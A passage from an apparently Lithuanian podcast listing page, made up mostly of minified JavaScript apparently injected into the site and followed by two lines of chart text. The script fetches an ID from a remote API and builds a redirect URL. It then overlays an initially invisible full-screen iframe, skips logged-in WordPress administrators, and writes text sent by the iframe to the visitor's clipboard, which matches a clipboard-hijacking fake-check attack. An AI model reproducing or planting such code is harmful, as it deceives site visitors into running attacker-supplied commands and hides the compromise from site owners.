findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();

Populiari šalyje

Ši tinklalaidė taip pat patenka į šių šalių tinklalaidžių topus.